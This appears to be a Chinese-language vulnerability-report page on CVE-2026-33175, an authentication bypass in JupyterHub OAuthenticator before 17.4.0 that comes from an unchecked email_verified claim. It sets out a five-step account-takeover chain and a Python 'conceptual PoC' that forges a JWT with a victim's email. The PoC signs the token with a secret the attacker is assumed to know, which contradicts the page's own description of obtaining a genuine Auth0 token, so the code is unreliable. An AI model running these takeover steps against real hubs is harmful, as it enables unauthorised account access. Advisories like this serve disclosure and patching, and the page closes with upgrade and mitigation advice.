IPBUF安全漏洞报告
English
CVE-2026-33175 CVSS 8.8 高危

CVE-2026-33175 OAuthenticator身份验证绕过漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-33175
漏洞类型
身份验证绕过
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
JupyterHub OAuthenticator

相关标签

身份验证绕过JupyterHubOAuthenticatorAuth0账户接管CVE-2026-33175

漏洞概述

OAuthenticator是一个允许将OAuth2身份提供商插入并用于JupyterHub的软件。在17.4.0版本之前,该组件存在身份验证绕过漏洞。该漏洞允许在Auth0租户上拥有未验证电子邮件地址的攻击者登录JupyterHub。当系统配置使用电子邮件作为用户名声明时,此漏洞赋予攻击者对用户名的控制权,进而可能导致账户接管。该漏洞CVSS评分为8.8,属于高危漏洞,严重影响了系统的机密性、完整性和可用性。

技术细节

该漏洞的核心逻辑缺陷在于OAuthenticator在处理Auth0提供的身份验证令牌时,未严格校验用户的电子邮件验证状态。在标准的OAuth2/OIDC认证流程中,身份提供商(IdP)会在ID Token中返回`email_verified`声明字段以指示邮箱是否经过验证。受影响的OAuthenticator版本在解析用户信息并创建JupyterHub会话时,仅依赖email字段作为用户标识,而忽略了对`email_verified`布尔值的检查。这导致攻击者只需在Auth0上注册一个未经验证的邮箱(甚至可以是受害者的邮箱地址,只要尚未完成验证流程),即可利用该未验证邮箱获取有效的OAuth令牌。当JupyterHub接收此令牌并尝试映射用户时,由于未拦截未验证邮箱,攻击者成功绕过身份验证机制,以该邮箱对应的用户身份登录系统,从而实现账户接管。

攻击链分析

STEP 1
侦察
攻击者识别目标JupyterHub实例使用Auth0作为OAuth2身份提供商,并确认其使用email作为username_claim。
STEP 2
注册账户
攻击者在目标Auth0租户上注册一个新账户,使用受害者的电子邮件地址,但不完成电子邮件验证流程(保持email_verified为false)。
STEP 3
获取令牌
攻击者使用该未验证账户向Auth0发起认证请求,获取有效的OAuth2 ID Token。
STEP 4
利用漏洞
攻击者携带该Token访问JupyterHub。由于漏洞存在,JupyterHub未校验email_verified字段,直接接受Token中的email声明。
STEP 5
账户接管
JupyterHub根据email声明创建或登录用户会话,攻击者成功获得受害者在JupyterHub中的账户权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# This is a conceptual Proof of Concept to demonstrate the vulnerability logic. # It simulates an attacker manipulating the token to bypass email verification check. import jwt import datetime # Configuration SECRET_KEY = "your_auth0_client_secret" # Attacker might know this or it might be weak ALGORITHM = "HS256" TARGET_EMAIL = "[email protected]" # Malicious payload: Attacker sets email to victim's email but marks it as unverified payload = { "sub": "attacker_auth0_id", "email": TARGET_EMAIL, "email_verified": False, # Vulnerability: System ignores this check "name": "Attacker Name", "iss": "https://your-tenant.auth0.com/", "aud": "jupyterhub_client_id", "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1), "iat": datetime.datetime.utcnow() } # Generate the malicious token token = jwt.encode(payload, SECRET_KEY, algorithm=ALGORITHM) print(f"[+] Generated malicious JWT token:") print(token) print(f"[+] Sending request to JupyterHub with unverified email: {TARGET_EMAIL}") print(f"[+] If vulnerable, JupyterHub will allow login as '{TARGET_EMAIL}'") # Conceptual request simulation # headers = {'Authorization': f'Bearer {token}'} # response = requests.get('https://jupyterhub.example.com/hub/api/user', headers=headers)

影响范围

OAuthenticator < 17.4.0

防御指南

临时缓解措施
建议立即将OAuthenticator组件升级至包含安全补丁的17.4.0版本。如果无法立即升级,应在Auth0提供商端配置严格的规则,阻止未验证邮箱的用户获取访问令牌,或者暂时禁用基于email的username_claim映射,改用经过验证的唯一标识符(如sub)作为用户名,以缓解账户接管风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表